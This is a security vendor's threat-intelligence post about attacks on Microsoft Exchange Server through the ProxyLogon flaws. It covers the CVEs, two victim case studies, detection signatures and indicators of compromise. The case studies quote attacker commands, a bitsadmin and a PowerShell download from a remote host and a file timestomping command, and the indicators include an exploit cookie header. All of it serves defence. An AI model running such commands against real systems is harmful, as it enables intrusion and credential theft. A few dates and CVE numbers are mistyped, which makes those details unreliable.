Posted: 9 Min ReadThreat Intelligence

How Symantec Stops Microsoft Exchange Server Attacks

Symantec's Intrusion Protection technology will block all attempted exploits of critical vulnerabilities.

Blog updated March 11: Case studies detailing post-compromise activity seen by Symantec added, along with additional IoCs

Blog updated March 9: IoCs, additional signatures, and pre-exploitation process diagram added. 

Users of Microsoft Exchange Server are advised to update to the latest version immediately, as a growing number of attackers are attempting to exploit four recently patched zero-day vulnerabilities in the software.

Microsoft released emergency patches last week (March 2) for the four vulnerabilities, which were being exploited by attackers in the wild. At the time, Microsoft said these vulnerabilities were being exploited by an advanced persistent threat (APT) group it dubbed Hafnium (Symantec tracks this group as Ant) in targeted attacks. However, since then it has been reported that multiple threat actors have been rushing to exploit these vulnerabilities in Exchange Server.

Two of the vulnerabilities (CVE-2021-26855 and CVE-2021-27065) and the technique used to chain them together for exploitation have been given the name “ProxyLogon” by security company DevCore. Successful exploitation of ProxyLogon allows attackers to gain a foothold on a targeted network, potentially leading to further compromise and data exfiltration.

Symantec customers are protected from attacks exploiting these vulnerabilities.

Q. When did we first find out about these attacks?

Microsoft released an out-of-band patch to address the vulnerabilities in Exchange Server on March 2, 2020. The versions impacted are Exchange Server 2013, 2016, and 2019. Security firm Volexity, which Microsoft credited in its security alert detailing the vulnerabilities, said it first saw attackers exploiting the bugs on January 6, 2021.

Q. Why are these vulnerabilities so dangerous?

Successful exploitation of these vulnerabilities allows an unauthenticated attacker to execute arbitrary code on vulnerable Exchange Servers, allowing them to gain persistent system access, access to files and mailboxes on the server, and access to credentials stored on the system. Successful exploitation may also allow attackers to compromise trust and identity in a vulnerable network. This gives attackers extensive access to infected networks, allowing them to steal potentially highly sensitive information from victim organizations.

Q. What are the vulnerabilities being exploited?

The four zero-day vulnerabilities that Microsoft released emergency patches for are:

  • CVE-2021-26855: This allows an unauthenticated attacker to send arbitrary HTTP requests and authenticate as the Exchange Server. The vulnerability exploits the Exchange Control Panel (ECP) via server-side request forgery (SSRF). This would also allow the attacker to gain access to mailboxes and read sensitive information. This forms the “ProxyLogon” exploit when chained with CVE-2021-27065.
  • CVE-2021-27065: Allows for remote code execution. It is a post-authentication arbitrary write file vulnerability in Exchange. An attacker authenticated by using CVE-2021-29855 (as in the ProxyLogon attacks) or via stolen credentials, could write a file to any path on the server.
  • CVE-2021-26858: Is a similar arbitrary write file vulnerability to CVE-2021-27065, and can be exploited in a similar manner.
  • CVE-2021-27857: Is an insecure deserialization vulnerability in the Unified Messaging service. An attacker, authenticated either by using CVE-2021-26855 or via stolen admin credentials, could execute arbitrary code as SYSTEM on the Exchange Server.

The following diagram shows an attack chain that an attacker could employ to gain initial access to data.

Figure. Pre-exploitation to gain initial access
Figure. Pre-exploitation to gain initial access

Q. Who is Hafnium/Ant?

Hafnium, which Symantec tracks as Ant, was the group first seen exploiting the vulnerabilities in Exchange Server, according to Microsoft. It said at the time that Ant was exploiting the zero days to carry out “limited and targeted attacks.” Microsoft said Ant used the vulnerabilities “to access on-premises Exchange servers which enabled access to email accounts, and allowed installation of additional malware to facilitate long-term access to victim environments.” Microsoft stated with “high confidence” that the group was state-sponsored and operating out of China. It also said the group principally attacked targets in the U.S., including infectious disease researchers, law firms, educational institutes, defense contractors, policy think tanks, and NGOs.

Security firm Veloxity also said the group was seen deploying web shells on infected systems to allow for remote access. Among the web shells Veloxity said it saw deployed were China Chopper variants and ASPXSPY. Veloxity also reported seeing the group carry out post-compromise activity such as credential dumping, lateral movement via PsExec, and archiving (likely in preparation for exfiltration of data). Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang. It is likely the group was using publicly available web shells and post-compromise tools in order to make attribution of the activity more difficult.

Q. Is Ant still the only group exploiting these vulnerabilities?

No, since Microsoft released the emergency patches for these vulnerabilities on March 2, attacks attempting to exploit these vulnerabilities have escalated, with “multiple malicious actors beyond Hafnium” attempting to target unpatched systems, according to Microsoft.

Q. Is this a targeted attack?

The initial attacks carried out by Ant appear to have been targeted, but the large number of threat actors now attempting to exploit these vulnerabilities mean these attacks are now more indiscriminate in nature.

Q. What steps can I take to protect my network?

While Symantec customers are protected from attacks attempting to exploit those vulnerabilities, all users of Exchange Server are advised to update to the most recent version immediately. Microsoft has also released a detection tool that allows you to scan your Exchange Server logs to determine if your server was compromised. The Cybersecurity and Infrastructure Security Agency (CISA) in the U.S. has advised that all users of Exchange Server scan their systems using Microsoft’s tool, as well as issuing an Emergency Directive to instruct all federal agencies to immediately update their Exchange servers.

Case Studies – Post-compromise activity

Symantec researchers have observed post-compromise activity on a small number of customer machines, where attackers’ initial point of entry appears to have been through exploiting the vulnerabilities in Microsoft Exchange. In two cases, Symantec researchers observed activity prior to the release of Microsoft’s patches on March 2.

Victim 1

In one victim, a telecoms company in the Middle East, we saw activity as far back as January 2021. China Chopper web shells were present on this victim’s network on January 13. China Chopper web shells were used by Ant (aka Hafnium) in the initial attacks leveraging these vulnerabilities according to reports by Veloxity. On January 29, a suspicious PowerShell command was executed to download files from a domain masquerading as a popular cloud hosting provider.

A few days later, on February 1, a suspicious command was executed to create a scheduled task, which executed “debug.bat” several hours later. The task was named “test”, which may indicate that the attackers were using this as a way to test scheduled tasks. Some hours later, the attackers ran “net start vdir”, which was used to launch a service that had likely been installed by the attackers.

On February 6, a suspicious file (sok.wia) was downloaded by the attackers and was used to establish a connection with a remote host.

  • sok.wia 443 CSIDL_PROFILE

It is likely this connection was used by the attackers to assist in exfiltration because, shortly afterwards, credential-dumping tool Mimikatz was used to dump credentials from the system. The next day, the attackers again use sok.wia, before creating a scheduled task on a remote server (likely using stolen credentials) to execute a “server.bat” file.

The next activity was seen on February 18 when Mimikatz was executed once again, and then on February 19 ProcDump was used to dump Isass to “he.dmp”, which can be used to harvest credentials. Then later, on March 3, a suspicious file was observed in %Temp%\in.exe, followed by a suspicious file ({71736495-d485-477d-b836-17f0085e0780}.exe) being extracted via the WinRAR archive tool which creates a malicious file in %system%\inetsrv\XmlLite.dll. This was the last activity seen on this machine.

Victim 2

Another victim, this one operating in the legal sector in Southeast Asia, saw activity on its network beginning on February 28. This was before Microsoft issued patches for the exploited vulnerabilities, but it has been reported by Veloxity that it saw activity ramping up since February 28, so it is possible information about these vulnerabilities had been leaked in the cyber crime fraternity by this time.

The first activity on this machine on February 28 was a command used to dump credentials that was executed via the w3wp.exe process. On the same day ProcDump was used to dump Isass, which can be used to harvest credentials. The next day, March 1, a file called ‘uawmiver.exe’ was executed to bypass user account control (UAC). This was used to execute two batch files called “set.bat” and “set1.bat”.

On March 3, a command was used to execute another unknown batch file, which was downloaded by bitsadmin from a remote host:

"CSIDL_SYSTEM\bitsadmin.exe" /rawreturn /transfer getfile CSIDL_PROFILE\public\2.bat

We then saw obfuscated PowerShell commands being executed and used to download a file from a remote host.

(new-object System.Net.WebClient).DownloadFile('hxxp://','C:\users\public\opera\code')

The next day, March 4, another PowerShell command was executed that searched for "layout.aspx" and "iistart.aspx". The last access and creation times were modified to August 21, 2017.

powershell.exe -command "dir |where {$ -eq 'layout.aspx' -or $ -eq 'iistart.aspx' }  | foreach-object { $_.LastWriteTime = '2017-08-21 20:26:57';$_.LastAccessTime = '2017-08-21 20:26:57';  $_.CreationTime = '2017-08-21 20:26:52' }" 

This was likely done to help conceal the malicious files and thwart any incident response investigations.

7-Zip was then used to extract the contents of a ZIP archive ( that was uploaded to the Exchange server by the attackers, before the file “current.exe” was executed, which injected CobaltStrike beacon to a newly-created “svchost.exe” process for backdoor access.  Several hours after this, ntdsutil was used to dump credentials once again.

Following this, a file called "mv.exe", which is likely Mimikatz, was executed to dump credentials. This is followed by ProcDump being used to dump lsass to harvest additional credentials. Shortly after this, an unknown file "ccsvchst.exe" was executed, which passes a collected hash.

Finally, the attackers launched the publicly available "secretsdump" tool, to dump credentials stored in the registry. Then, on March 8, the attackers ran Mimikatz to try to dump credentials again. This was the last activity seen on this machine.

Other victims

We also observed some post-compromise activity in a small number of other organizations since Microsoft issued their patches on March 2, when activity ramped up significantly as it is believed a large number of threat actors were rushing to exploit these vulnerabilities.

Some of the tools we saw used in post-compromise activity in those impacted since March 2 include:

  • PowerShell
  • BITSAadmin
  • Certutil
  • Cobalt Strike
  • EarthWorm tunnel tool
  • Stowaway multi-hop proxy tool
  • China Chopper web shells
  • ReGeorg web shells (seen by Veloxity used in previous Exchange attacks)
  • Chisel
  • Adfind
  • PsExec
  • Mimikatz
  • ProcDump

In one case we also saw the attackers deleting shadow copies from infected machines, which is activity we typically see when attackers are preparing to carry out a ransomware attack, though we did not observe ransomware deployed on the machine.

The extensive use of living-off-the-land and open-source tools and tactics by the attackers leveraging these vulnerabilities make attribution of these attacks difficult and means that a wide number of different threat actors may be responsible for these attacks.

With activity exploiting these vulnerabilities seen by Symantec as recently as March 9, these attacks are ongoing, and all users of Microsoft Exchange Server are urged to scan their environment and apply patches immediately.



  • Exp.CVE-2021-26855
  • ISB.Downloader!gen313
  • Backdoor.Trojan
  • Hacktool
  • Hacktool.Regeorg
  • Hacktool.Nishang
  • Trojan.Chinchop
  • Trojan.Chinchop!gen3
  • Trojan.Chinchop!gen4


  • Attack: Microsoft Exchange Server CVE-2021-26855
  • Web Attack: Microsoft Exchange Server CVE-2021-26857
  • Attack: AntSword Activity
  • Web Attack: WebShell Access Attempt
  • Web Attack: WhatWeb Scanner Request
  • System Infected: Malicious PowerShell Script Download 4
  • System Infected: Malicious PowerShell Script Download 5
  • System Infected: Trojan.Backdoor Activity 404
  • Web Attack: WebShell Access Attempt 2
  • Web Attack: ASP WebShell Upload Attempt

Data Center Security:

  • Data Center Security (DCS) Intrusion Prevention (with default policies) provides zero-day protection against the deployment of webshells on Exchange Servers, including those used in these attacks.

For the latest protection updates, please visit the Symantec Protection Bulletin.

Indicators of Compromise (IoCs)

The presence of the following indicators on your network may help you determine if you've already been exploited.

TypeSHA256 hashFile nameDescription
Hash c92c158d7c37fea795114fa6491fe5f145ad2f8c08776b18ae79db811e8e36a3 ad.exe AdFind
Hash e4372a15ed700ad1c05a70dfc5e83ae260ccbd3c40f5fa98023f06311dba5f9d sok.wia Hacktool
Hash 2477e315a9d67ed064476f18e1f4ed1e4f12d795a1d782a11fe136acd1056737 froword.aspx China Chopper
Hash a1239408c8711423966a3f5b627684358178856880fabe4ee2d1ca95b8a95fd0 lgnright.aspx China Chopper
Hash a88ae7084b235bccfa9b0166e395dcad2f0d7d01267510f011de6292471435b4 scriptsgetjs.aspx China Chopper
Hash 4afa5fde76f1f3030cf7dbd12e37b717e1f902ac95c8bdf54a2e58a64faade04 Chisel.exe Chisel
Hash ff75cd3a2c9c39ec4fa9c2016bb87938cc4ddf9a1f375c497789a5882b5bbe5e ch.exe Chisel
Hash 4ba1765cba206e8fe02652b5b050e2aec043bfe3455cd77975f0a248ede5ce5e 8751.exe CobaltStrike
Hash d63b4bd4f85a8866a0eda810bfbbc4255f55b4e3a41c243ef313e84a2d988867 a CobaltStrike
Hash 696d2b88a0768b178d00e59ffcdeea9b60ad5b9070a857d47b05f0b9b448de2e current.exe CobaltStrike
Hash 513ab85cf2f9358eefd96ddbf59bececc2ad1bc964187d78635d3e6cd1fc013b sms.dat DecrypterLoader
Hash 9d0afc3a8318fa1cbbf52027f7f51050c44bcddcb9b61359a766d60aa02b9a13 un.bat Downloader
Hash c1f43b7cf46ba12cfc1357b17e4f5af408740af7ae70572c9cf988ac50260ce1 tunnel.aspx ReGeorg
Hash 30a78770615c6b42c17900c4ad03a9b708dc2d9b743bbdc51218597518749382 m1.log Mimikatz
Hash 52cbb6e6507acd187adf4ae625d3df1b9db3a066a2e7ed83fea0c821a00b2706 mv.exe Mimikatz
Hash 9a3bf7ba676bf2f66b794f6cf27f8617f298caa4ccf2ac1ecdcbbef260306194 mimikatz.exe Mimikatz
Hash ad6d269dfd1ecb41c198879b19349361b5aa0fa73c00641347b173ef41beca88 ss64.exe Mimikatz
Hash b82223d514f145005bf5d2d4f8628d1e5306b38ccefda193ee60e2741f90eae6 ml64.exe Mimikatz
Hash 16f413862efda3aba631d8a7ae2bfff6d84acd9f454a7adaa518c7a8a6f375a5 pd.exe ProcDump
Hash e2a7a9a803c6a4d2d503bb78a73cd9951e901beb5fb450a2821eaf740fc48496 pd64.exe ProcDump
Hash e2a7a9a803c6a4d2d503bb78a73cd9951e901beb5fb450a2821eaf740fc48496 procdump64.exe ProcDump
Hash 3337e3875b05e0bfba69ab926532e3f179e8cfbf162ebb60ce58a0281437a7ef psexec.exe PsExec
Hash fc7c0272170b52c907f316d6fde0a9fe39300678d4a629fa6075e47d7f525b67 a079b04ae1b9a4f0e0f069f1d0076fea ShellcodeLauncher
Hash 5a3f0b0929bfc626012f45ce80d4316497c676e1e639bc3b241d5e9b5f113899 q.exe ShellcodeLoader
Hash 95f724246339cacaf07600d848a74abf651fcc447b2d2b047bfd5524eb00c843 shellcode.cpl ShellcodeLoader
Hash 1e7d4c97ed45db02d434e9d75ce51b2f94a575d8613966ab33a514836e3e80ef wa.exe Stowaway
Hash 0291c1f65851f6c43453454e2e04c559693dba37c71482da63221612791782c6 auth.aspx Web shell
Hash 0291c1f65851f6c43453454e2e04c559693dba37c71482da63221612791782c6 serverrequirementresources.aspx Web shell
Hash 0c5145a146c59fbfb9ab59a40602f01c2d2ee507c81c09dbc48e92cddd6929ed owafont.aspx Web shell
Hash 0c5145a146c59fbfb9ab59a40602f01c2d2ee507c81c09dbc48e92cddd6929ed owafont.aspx Web shell
Hash 2230352407f3e81b37f572ca8269f854df889977e45c79dc40b17b0b75ed9a62 index.aspx Web shell
Hash 3377a844cd3855099d37b3d261537a84f0cad37cec9f3586755b7a03e046a15d template.aspx Web shell
Hash 450deff4be85be401ecc312abd5ca6ea2a6c1b252c8c3d6159b1a8766db75efb defate.aspx Web shell
Hash 58fea882b2587f37df929ea3760ac840ad3ed9dd6f96bc01c9b56a90c377b1dc aspnet_client.aspx Web shell
Hash 58fea882b2587f37df929ea3760ac840ad3ed9dd6f96bc01c9b56a90c377b1dc aspnet_client.aspx Web shell
Hash 5a1f3e2eb49b28e8a185cbff52ba2493ae3116eac0c7c24a13d476fbac07c7b6 admin.aspx Web shell
Hash 5ef3f9b43c897fb11cf74848ec92da3741958acbc84413d6975a57bb0e7bbde8 xxo.aspx Web shell
Hash 65c9b651fb8561f66aa1ab12c86c8f5a75e29c076355d41d29210f944a2672b2 premium.aspx Web shell
Hash 77c34b8d251b3fc3347daaed359a02be7779feb3f2febe16986a5ccf66a53685 oa.aspx Web shell
Hash a1239408c8711423966a3f5b627684358178856880fabe4ee2d1ca95b8a95fd0 lgnright.aspx Web shell
Hash b234115d602683274ebe252469244b2f2107b8d140a50300f6d1eb3777f72b65 logonin.aspx Web shell
Hash c002c59cc3e41f984f91e5b4773085c7ec78c5dddec5e35111a3dadc22cb2d6e help.aspx Web shell
Hash c07cc4b59303a4b3223eba95060fa5c44a357f93c3a9ff73577d3296027cf01b flogon.aspx Web shell
Hash c1f43b7cf46ba12cfc1357b17e4f5af408740af7ae70572c9cf988ac50260ce1 tunnel.aspx Web shell
Hash c781c5755ed26a5b4251521bd43e72972ca9eaf6e9eceb163c269da67216bfb0 ppp.aspx Web shell
Hash cd07bb09c3a955843d2179f4e5eee618ece20def911dc59fafbaa268c8558a7f ee.aspx Web shell
Hash da0e5f7af9c96c2c8d2ba72b393dce05df1ba0bac746010a380a1f0eb11de6d7 1.aspx Web shell
Hash e5f98a1b0d37a09260db033aa09d6829dc4788567beccda9b8fef7e6e3764848 flogonerrore.aspx Web shell
Hash f26da6bd8107aca72ce976e2f12bcf688952c5f1fd84d71eaf6fd66d9ccecbcc log0n.aspx Web shell
Hash fa797791bbba7d48ddd4213de87d190355c6d50cffea0ba2f76c8fb10a269a3d timeoutlogon.aspx Web shell
Hash 6a0faa5fc3db4df86db34368ac214b4a45c9ad3e14acff75c1a43556f0673fff pop.aspx Web shell
IP address BITSAdmin downloader
IP address Chisel
IP address PowerShell downloader
IP address PowerShell downloader
IP address PowerShell downloader
IP address PowerShell downloader
IP address PowerShell downloader
IP address Sok
IP address Stowaway; certutil
URL PowerShell downloader
URL PowerShell downloader


File indicators

  • The following regex can be used to help identify suspicious aspx/webshells:


Network indicators

  • A HTTP GET request for /owa/auth/x.js with the following cookie header set may indicate a possible exploit attempt:

X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3

Log file indicators

  • Check for CMD output in Exchange’s ECP Server logs:


  • Check IIS web server logs for following URI path:



Microsoft Scanning Tool

  • This tool allows you to scan your Exchange Server logs to determine if your server was compromised.

About the Author

Threat Hunter Team


The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.

Want to comment on this post?

We encourage you to share your thoughts on your favorite social platform.